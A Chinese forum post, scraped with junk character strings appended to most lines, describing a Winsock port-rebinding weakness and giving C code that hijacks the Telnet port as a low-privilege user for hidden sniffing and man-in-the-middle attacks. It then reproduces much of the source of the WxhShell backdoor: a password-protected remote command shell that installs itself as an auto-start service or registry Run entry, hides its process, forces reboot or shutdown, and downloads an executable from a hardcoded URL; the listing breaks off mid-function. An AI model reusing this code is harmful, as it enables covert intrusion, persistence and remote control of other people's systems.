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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "I;C;}!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9/SXs0  
c4e_6=Iv  
  saddr.sin_family = AF_INET; sDgXU@  
IYWjH E+)d  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >Sa*`q3J  
1\RGM<q$f  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); rOW-0B+N  
n}A\2bO  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 . .QB~  
cN! uV-e  
  这意味着什么?意味着可以进行如下的攻击: s6 ( z  
@=w<B4 L  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `=#01YX[0  
a m-b!l!q^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 53QfTP  
2:}fe}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 QQk{\ PV  
U(&oj e  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  y#Ht{)C  
K\[!SXg@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 y AF+bCXo  
~/_9P Fk  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =1h9rlFj"D  
jO9ip  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 h9$ Fx  
 "SN4*  
  #include oq-<ob  
  #include GZ!| }$ 8  
  #include Dz!fpE'L  
  #include    E< 4l#Z<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;;5Uwd'-  
  int main() Jxf~&!zR  
  { z^o1GY  
  WORD wVersionRequested; 3>zN/ f  
  DWORD ret; Fhq9D{TeY,  
  WSADATA wsaData; I4rPHZ|  
  BOOL val; aI zv  
  SOCKADDR_IN saddr; F} J-gZl  
  SOCKADDR_IN scaddr; d lH$yub  
  int err; NIZ<0I*5  
  SOCKET s; QH4wUU3X  
  SOCKET sc; a\kb^D=T  
  int caddsize; w&Dv8Wv+Oq  
  HANDLE mt; ?&WYjTU]H  
  DWORD tid;   `T/~.`R  
  wVersionRequested = MAKEWORD( 2, 2 ); LW#M@  
  err = WSAStartup( wVersionRequested, &wsaData ); SEQ%'E5-'  
  if ( err != 0 ) { aRj>iQaddx  
  printf("error!WSAStartup failed!\n"); ZWc+),X  
  return -1; s30 O@M))  
  } P7r'ffA  
  saddr.sin_family = AF_INET; O9v_y+M+M  
   Mr+@c)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 < V\Y@Ei+  
<Y 4:'L6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >-T`0wI  
  saddr.sin_port = htons(23); *, Ld/O;s  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  (dJI_A  
  { 'f8(#n=6qP  
  printf("error!socket failed!\n"); >YW\~T  
  return -1; Auy".br'  
  } y;" n9  
  val = TRUE; 7>o .0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 y#ON|c /  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9D@$i<D:  
  { PDx)S7+w[  
  printf("error!setsockopt failed!\n"); fLN!EDq  
  return -1; ,Y_{L|:w  
  } C>^D*C(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9z m|Lbj  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 m(D]qYwh  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X{Yw+F,j  
Ue5O9;y]u  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U IJx*  
  { x9>\(-uU  
  ret=GetLastError(); ,lY aA5&I  
  printf("error!bind failed!\n"); Q+|{Bs)6i1  
  return -1; k>4qkigjc  
  } &0N<ofYX  
  listen(s,2); ~+D*:7Y_  
  while(1) E ?2O(  
  { {mYP<NBT  
  caddsize = sizeof(scaddr); [c K^+s)N  
  //接受连接请求 !}TMiCK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =1/NFlt8  
  if(sc!=INVALID_SOCKET) g]mtFrP  
  { 6,Hqb<(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1.@vS&Y7OE  
  if(mt==NULL) \ v@({nB8  
  { n_[i0x7#  
  printf("Thread Creat Failed!\n"); .W\ve>;  
  break; ,cTgR78'  
  } 1N`vCt]w  
  } @`u?bnx]e  
  CloseHandle(mt); *a}(6Cx  
  } \jW)Xy  
  closesocket(s); `T*U]/zQ  
  WSACleanup(); hi{%pi&!T  
  return 0; V+MK'<#B  
  }   t *6loS0+  
  DWORD WINAPI ClientThread(LPVOID lpParam) "vF MSY  
  { 3EFD%9n  
  SOCKET ss = (SOCKET)lpParam; ux2013C_  
  SOCKET sc; Zp`T  
  unsigned char buf[4096]; dLh6:Gh8_I  
  SOCKADDR_IN saddr; |fsm8t<~8  
  long num; -*VKlZ8-  
  DWORD val; PY\PUMF>  
  DWORD ret; BWPP5X9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Gu(lI ~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   O0l^*nZ46t  
  saddr.sin_family = AF_INET; e&Y0}oY  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); F:FMeg  
  saddr.sin_port = htons(23); b=##A  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8Vl!|\x5  
  { O>r-]0DI[  
  printf("error!socket failed!\n"); IxSV?k   
  return -1; >X}{BDMb.  
  } u/^|XOy  
  val = 100; g1m-+a  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @_'OyRd8  
  { Go\VfLLw  
  ret = GetLastError(); Ayx^Wp*s  
  return -1; *3{J#Q6fk3  
  } QezSJ io  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @9 8;VWY\  
  { H>7dND 2;  
  ret = GetLastError(); ~2 }Pl)  
  return -1; oVkq2  
  } ~&G4)AM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $`Nd?\$  
  { '8`T|2   
  printf("error!socket connect failed!\n"); S0w> hr  
  closesocket(sc); MOz}Q1`a  
  closesocket(ss); j\)H  
  return -1; W*T{,M@Y  
  }   -/{af  
  while(1) 9w ~cvlv[  
  { I=dGq;Jaz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _+QwREP  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 97~K!'/^+y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =v-2@=NJ`K  
  num = recv(ss,buf,4096,0); _g|acBF  
  if(num>0) a% ,fXp>  
  send(sc,buf,num,0); q=c/B(II!  
  else if(num==0) /lD?VE  
  break; M]_E  
  num = recv(sc,buf,4096,0); D5]{2z}k  
  if(num>0) T-L5zu  
  send(ss,buf,num,0); lglYJ,  
  else if(num==0) !e8i/!}^S  
  break; ;b~~s.+  
  } \P?ToTTV  
  closesocket(ss); L/r{xS  
  closesocket(sc); vE\lp8j+  
  return 0 ; BA+_C]%ZJ  
  } L'kq>1QWf  
r2eQ{u{nX  
hY8#b)l~lu  
==========================================================  WR.x&m>  
bkQ3c-C<  
下边附上一个代码,,WXhSHELL u}jrfKd E  
n.$(}A  
========================================================== ijZ>:B2:  
8OAg~mQ15(  
#include "stdafx.h" H~9=&p[Q  
Z!\@%`0$  
#include <stdio.h> xfHyC'?  
#include <string.h> _vrWj<wyf  
#include <windows.h> -CBD|fo[h  
#include <winsock2.h> !oMt_k X  
#include <winsvc.h> uEd,rEB>  
#include <urlmon.h> vjK, I9  
0-xCp ~vE  
#pragma comment (lib, "Ws2_32.lib") vA?_-.J  
#pragma comment (lib, "urlmon.lib") &4kM8Qh  
R2^iSl%pj  
#define MAX_USER   100 // 最大客户端连接数 k/`i6%F#m  
#define BUF_SOCK   200 // sock buffer &hN,xpC  
#define KEY_BUFF   255 // 输入 buffer (([I]q  
!WKk=ysFS  
#define REBOOT     0   // 重启  (K #A  
#define SHUTDOWN   1   // 关机 f!g<3X{=  
rihlae5Kz  
#define DEF_PORT   5000 // 监听端口 {+=i?  
`SOhG?Zo  
#define REG_LEN     16   // 注册表键长度 rz6jx  
#define SVC_LEN     80   // NT服务名长度 D Vw Cx^  
o/JPYBhdl  
// 从dll定义API k&GHu0z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a!t V6H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &'O?es|Lb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nFXAF!,jj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); epVH.u%  
YNM\pX'  
// wxhshell配置信息 8~5|KO >F  
struct WSCFG { oh&Y< d0  
  int ws_port;         // 监听端口 Z=9dMND  
  char ws_passstr[REG_LEN]; // 口令 .cR*P<3O  
  int ws_autoins;       // 安装标记, 1=yes 0=no 60PYCqWc  
  char ws_regname[REG_LEN]; // 注册表键名 BX$hAQ(6Q  
  char ws_svcname[REG_LEN]; // 服务名 V\zsDP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `^%GN8d}nm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "6V_/u5M;=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lG]GlgSs  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WEC-<fN|Y\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |h,FUj<r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oQvFrSz  
NgxO&Zp  
}; RndOm.TE  
kPJ~X0Fr{t  
// default Wxhshell configuration ?UK:sF| (O  
struct WSCFG wscfg={DEF_PORT, +"=~o5k3Q  
    "xuhuanlingzhe", MVAc8dS  
    1, ,k%8yK  
    "Wxhshell", M(S{1|,V  
    "Wxhshell",  y h-9u  
            "WxhShell Service", >4'21,q  
    "Wrsky Windows CmdShell Service", r5)f82pQ  
    "Please Input Your Password: ", 2{};6{yz  
  1, /nM*ljfB\  
  "http://www.wrsky.com/wxhshell.exe", 4~WlP,,M  
  "Wxhshell.exe" jr1Se9u D  
    }; b-b;7a\N  
we a\8[U3"  
// 消息定义模块 +~:0Dxv W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N7B}O*;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t^$Div_%G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g.&\6^)8p  
char *msg_ws_ext="\n\rExit."; S A3Y:(  
char *msg_ws_end="\n\rQuit."; \[E-:  
char *msg_ws_boot="\n\rReboot..."; v<fWc971  
char *msg_ws_poff="\n\rShutdown..."; 2V<# Y  
char *msg_ws_down="\n\rSave to "; &|] Fg5  
H2]BMkum  
char *msg_ws_err="\n\rErr!"; MZi8Fo'  
char *msg_ws_ok="\n\rOK!"; gD40y\9r  
PDZ)*$EE  
char ExeFile[MAX_PATH]; +2(Pc JR~  
int nUser = 0; Y D+QX@  
HANDLE handles[MAX_USER]; d.1Q~&`  
int OsIsNt; qq>44k\|)  
B#4S/d{/  
SERVICE_STATUS       serviceStatus; `R ]&F$i(E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -(  ER4#  
h=mv9=x  
// 函数声明 c=<v.J@K  
int Install(void); OAyE/Q|  
int Uninstall(void); {r X5  
int DownloadFile(char *sURL, SOCKET wsh); [M2Dy{dh  
int Boot(int flag); Ua!Odju*w  
void HideProc(void); 6!o/~I#  
int GetOsVer(void); :if5z2PE/  
int Wxhshell(SOCKET wsl); !j'guT&9]  
void TalkWithClient(void *cs);  m"1 ?  
int CmdShell(SOCKET sock); p!V) 55J*  
int StartFromService(void); @@xF#3   
int StartWxhshell(LPSTR lpCmdLine); `}n0=E  
/3;=xZq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5[hlg(eb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )S"o{N3B  
dR?5$V(  
// 数据结构和表定义 s={X-H< 2  
SERVICE_TABLE_ENTRY DispatchTable[] = .;}pU!S~R  
{ JG1LS$p^  
{wscfg.ws_svcname, NTServiceMain}, _4A&%>   
{NULL, NULL} ]n/jJ_[  
}; m';|}z'  
JCBnFrP  
// 自我安装 ,7/\&X<`B  
int Install(void) 4v i B=>  
{ ;+! xZOmm  
  char svExeFile[MAX_PATH]; %hrsE5k^,  
  HKEY key; !FO:^P  
  strcpy(svExeFile,ExeFile); (jt*u (C&Y  
O/'f$Zj36  
// 如果是win9x系统,修改注册表设为自启动 Zr~"\llk  
if(!OsIsNt) { fG^7@J w:G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I[vME"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7jD@Gp`" 3  
  RegCloseKey(key); F\l!A'Q+t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZlUFJ*pk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I\)N\mov e  
  RegCloseKey(key); +# A|Zp<  
  return 0; jh-kCF  
    } mRNHq3  
  } "otr+.{`*  
} FkLQBpp(x  
else { O{O 9}]6  
7Co3P@@  
// 如果是NT以上系统,安装为系统服务 6YB-}>?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4_Tb)?L+:  
if (schSCManager!=0) !G@V<'F  
{ vQE` c@^{  
  SC_HANDLE schService = CreateService B&to&|jf  
  ( BD<rQmfA^  
  schSCManager, k{!iDZr&f,  
  wscfg.ws_svcname, s$eK66H  
  wscfg.ws_svcdisp, D]3bwoFo&u  
  SERVICE_ALL_ACCESS, NO%|c|B|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;g!xQvcR  
  SERVICE_AUTO_START, w?*'vF_2:#  
  SERVICE_ERROR_NORMAL, ](idf(j  
  svExeFile, 99=[>Ck)G  
  NULL, \Or]5ogT'  
  NULL, kjQIagw  
  NULL, })Ix .!p  
  NULL, C8O7i[uc  
  NULL w/)e2CH  
  ); ;w>Q{z  
  if (schService!=0) KI^q 5D ?  
  { gt(X!iN]  
  CloseServiceHandle(schService); Ss*Lg K_  
  CloseServiceHandle(schSCManager); R A-^!4tX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ixoMccU0  
  strcat(svExeFile,wscfg.ws_svcname); zSX'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <[*h_gE5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;5zjd,  
  RegCloseKey(key); }j]<&I}  
  return 0; $NH`Iu9t  
    } 0YgFjd 5  
  } 50O7=  
  CloseServiceHandle(schSCManager); ([z<TS#Md  
} H"kc^G+(R"  
} #w[q.+A  
_Y:Ja0,  
return 1; C"V?yDy2~  
} X}ey0)g%  
hvwnG>m\  
// 自我卸载 (dw3'W  
int Uninstall(void) OoA5!HEh  
{ g%KGF)+H  
  HKEY key; 5G dY7t_1  
t\E-6u  
if(!OsIsNt) { y'i:%n}I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bF8xQ<i~Y  
  RegDeleteValue(key,wscfg.ws_regname); t(LlWd  
  RegCloseKey(key); 6= aBD_2@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .F=<r-0  
  RegDeleteValue(key,wscfg.ws_regname); MC[ `<W)u  
  RegCloseKey(key); H-PW(  
  return 0; 3/#R9J#  
  } <%5-Pzp  
} PAO[Og,-  
} Gff[c%I  
else { 8=u+BDG  
Oa3=+_C~$1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fS'k;r*r  
if (schSCManager!=0) )U3 H1 5  
{ 5r2ctde)Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _tWfb}6;Zb  
  if (schService!=0) 6kmZ!9w0|  
  { jQw`*Y/,  
  if(DeleteService(schService)!=0) { 0|*UeM  
  CloseServiceHandle(schService); ,AFC1t[0  
  CloseServiceHandle(schSCManager); ~ L i%  
  return 0; qJAv=D  
  } 4N0W& Dy  
  CloseServiceHandle(schService); ;^*+:e  
  } vb80J<4  
  CloseServiceHandle(schSCManager); b*F :l#  
} AU${0#WV_  
} /oix tO)  
C$Hl`>?$  
return 1; (qq$y #$  
} i32_ZBZ?y  
(Mire%$h  
// 从指定url下载文件 6vp8LNSW  
int DownloadFile(char *sURL, SOCKET wsh) WP#_qqO  
{ ""U?#<}GD  
  HRESULT hr; MSm`4lw  
char seps[]= "/"; HK,G8:T  
char *token; p.W*j^';Q  
char *file; ^7^bA  
char myURL[MAX_PATH]; 9^[5!SMzCj  
char myFILE[MAX_PATH]; 0;m$a=  
y9l.i@-  
strcpy(myURL,sURL); G \aLg  
  token=strtok(myURL,seps); y:|Xg0Kp  
  while(token!=NULL) J,77pf!B  
  { ]oWZ{#r2  
    file=token; :6Pc m3  
  token=strtok(NULL,seps); q4#f *]  
  } Y|qixpP  
9OO_Hp#|9  
GetCurrentDirectory(MAX_PATH,myFILE); BD-c 0-+m  
strcat(myFILE, "\\"); ,oi`BOh  
strcat(myFILE, file); 2 vJ[vsrFv  
  send(wsh,myFILE,strlen(myFILE),0); P.H/H04+  
send(wsh,"...",3,0); H2pXJ/XF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ba)YbP[  
  if(hr==S_OK) <:yq~?  
return 0; 6^z \;,p  
else i[BR(D&l_p  
return 1; i4n%EDQ  
?M{ 6U[?  
} {J6sM$aj  
6/WK((Fd  
// 系统电源模块 K1wN9D{t'  
int Boot(int flag) pGcx jm  
{ >a`zkl  
  HANDLE hToken; g:3'x/a1  
  TOKEN_PRIVILEGES tkp; A>1p]#  
]3 8<ly7  
  if(OsIsNt) { j7HlvoZV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~RLx;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ))+9 8iU1s  
    tkp.PrivilegeCount = 1; <[B[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =rO>b{,hs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o:Os_NaD  
if(flag==REBOOT) { {@F["YPxy  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5`{;hFl  
  return 0; rjf=qh5s  
} BnnUUaE  
else { q?]@' ^:;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )D-.7m.v]  
  return 0; _>)"+z^r  
} cZX&itVc:  
  } bZlLivi  
  else { 1S.e5{  
if(flag==REBOOT) { 2Q'XB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0gb]Kjx  
  return 0; P)j9\ muc  
} ~m09yc d<  
else { j6 d"8oH _  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) byj mH  
  return 0; /E  yg*#  
} ?m r@B  
} "M#`y!__  
Rc.<0#  
return 1; }GNH)-AG)$  
} n; '~"AG)  
'GdlqbX(%  
// win9x进程隐藏模块 J ]^gF|  
void HideProc(void) A%8`zR  
{ l|tp0[  
3% 4Mq6Q`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D.Cs nfJ  
  if ( hKernel != NULL )  Dmv  
  { $cpQ7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kkBV;v%a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =28H^rK{  
    FreeLibrary(hKernel); 1eyyu!  
  } 2yO)}g FJ  
HNUR6H&Fta  
return; w7?9e#> Z  
} ]4Yb$e`  
?$&rC0 t  
// 获取操作系统版本 <l s/3!  
int GetOsVer(void) >W]"a3E  
{ Iybpk?,M+  
  OSVERSIONINFO winfo; nu%Nt"~[%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Dt'e<d Is  
  GetVersionEx(&winfo); CZ%"Pqy&1L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) whZ],R*u  
  return 1; GZ[h`FJg/  
  else E=~WQ13Q  
  return 0; 4k?JxA)  
} >s?;2T2"yx  
1Kf t?g  
// 客户端句柄模块 lGBdQc]IL  
int Wxhshell(SOCKET wsl) ITqigGan%  
{ bme#G{[)Y  
  SOCKET wsh; mb`}sTU).  
  struct sockaddr_in client; w8#>xV^~  
  DWORD myID; \R6T" U  
R M+K":p  
  while(nUser<MAX_USER) 0Lz56e'j  
{ Q/`o6xv  
  int nSize=sizeof(client); 1xV1#'@[Jd  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ef ;="N  
  if(wsh==INVALID_SOCKET) return 1; b/}0 &VXo  
k)' z<EL6c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 92_H!m/  
if(handles[nUser]==0) :+^llz  
  closesocket(wsh); =0fx6V  
else 959jp85  
  nUser++; <l/Qf[V  
  } !e"m*S.(6{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >:nJTr  
R:m=HS_  
  return 0; QD VA*6F  
} D)cwttH  
ZGvNEjff  
// 关闭 socket #@"rp]1xv  
void CloseIt(SOCKET wsh) >ZsK5v  
{ w7V W   
closesocket(wsh); +NMSvu_?  
nUser--; Z'm%3  
ExitThread(0); %--5bwZi  
} 9TS=>  
-^Va]Lk  
// 客户端请求句柄 <Py/uF|  
void TalkWithClient(void *cs) D5vtZu!"  
{ RtQfE+  
Pg C]@Q%  
  SOCKET wsh=(SOCKET)cs; G"sc;nT  
  char pwd[SVC_LEN]; m 4LM10  
  char cmd[KEY_BUFF]; 9Bw5 t@  
char chr[1]; 1/J*ki+?  
int i,j; <bppu>&  
r:Cid*~m  
  while (nUser < MAX_USER) { \1_&?( pU  
[M>_(u6  
if(wscfg.ws_passstr) { TBYL~QQD\C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XYTcG;_z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HhH'\-[t  
  //ZeroMemory(pwd,KEY_BUFF); D+PUi!  
      i=0;  Jl,x~d  
  while(i<SVC_LEN) { XKIJ6M~5k  
ub&29Qte  
  // 设置超时 >G7U7R}R  
  fd_set FdRead; S6Pb V}  
  struct timeval TimeOut; ..mz!:Zs0  
  FD_ZERO(&FdRead); _J;a[Ky+[  
  FD_SET(wsh,&FdRead); - & r{%7  
  TimeOut.tv_sec=8; 9DE)5/c`v  
  TimeOut.tv_usec=0; @6 `@.iZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +c_CYkHJ/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !Ve3:OZ.nO  
UeQ% (f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J/2pS  
  pwd=chr[0]; >(a_9l;q  
  if(chr[0]==0xd || chr[0]==0xa) { Xq^{P2\w1  
  pwd=0; " N4]e/.V  
  break; niBpbsO  
  } SJ@_eir\o  
  i++; p4_uY7^6  
    } `"4EE}eQc  
AOUO',v  
  // 如果是非法用户,关闭 socket "ET"dMxU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #JM*QVzv  
} .JjuY'-Q  
biK.HL\V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &|*|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >X)G`N@ !  
H>9$L~  
while(1) { bc-}Qn  
z8MYgn 7  
  ZeroMemory(cmd,KEY_BUFF); _?<Fc8F  
zf#&3K'k  
      // 自动支持客户端 telnet标准   r6G)R+#  
  j=0; ~=*_I4,+r  
  while(j<KEY_BUFF) { IQ8AsV&'C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  /9Xf[<  
  cmd[j]=chr[0]; !I&Sy]G  
  if(chr[0]==0xa || chr[0]==0xd) { YgDasKFm'  
  cmd[j]=0; z"`?<A&u  
  break; yRDLg c  
  } VvKH]>*  
  j++; 1tc9STYR}  
    } |JQ05nb  
cKAl 0_[f"  
  // 下载文件 na)ceN2h  
  if(strstr(cmd,"http://")) { T94$}- 5/)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  1qF.0  
  if(DownloadFile(cmd,wsh)) +^:K#S9U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1cega1s3xR  
  else H R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ysPW<  
  } Fsh-a7Qp  
  else { &5<lQ1  
5N/;'ySAE_  
    switch(cmd[0]) { ) |a5Qxz  
  Vy $\.2=  
  // 帮助 u:$x,Q  
  case '?': { `R^VK-=C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =|/b[Gd(  
    break; I%`2RXBt3^  
  } K9=_}lS@'  
  // 安装 M#m7g4*L!  
  case 'i': { #S)*MT4ke  
    if(Install()) nFSa~M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wDk[)9#A   
    else wwz<c5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `OWB@_u5  
    break; cjk5><}`H7  
    } 8:bNFgJD  
  // 卸载 +FR"Gt$g  
  case 'r': { K km7L-  
    if(Uninstall()) Khl7Ez  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XA68H!I  
    else YX(%jcj*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~S9nLb:O{  
    break; x4K5  
    } FKP^f\!M  
  // 显示 wxhshell 所在路径 j&9~OXYv  
  case 'p': { N INiX(  
    char svExeFile[MAX_PATH]; F)G#\r  
    strcpy(svExeFile,"\n\r"); (@Bm2gH  
      strcat(svExeFile,ExeFile); ]jYM;e  
        send(wsh,svExeFile,strlen(svExeFile),0); aum,bm/0J  
    break; <4Fd ~  
    } B$G8,3,:  
  // 重启 P?F:x=@'|  
  case 'b': { !8$}]uWP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); moGbBkO  
    if(Boot(REBOOT)) {)M4h?.2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5V0=-K  
    else { ~Y(M>u.+!  
    closesocket(wsh); G+}LLm.wX  
    ExitThread(0); =[,adB  
    } v|xlI4  
    break; VO9<:R  
    } T7v8}_"-  
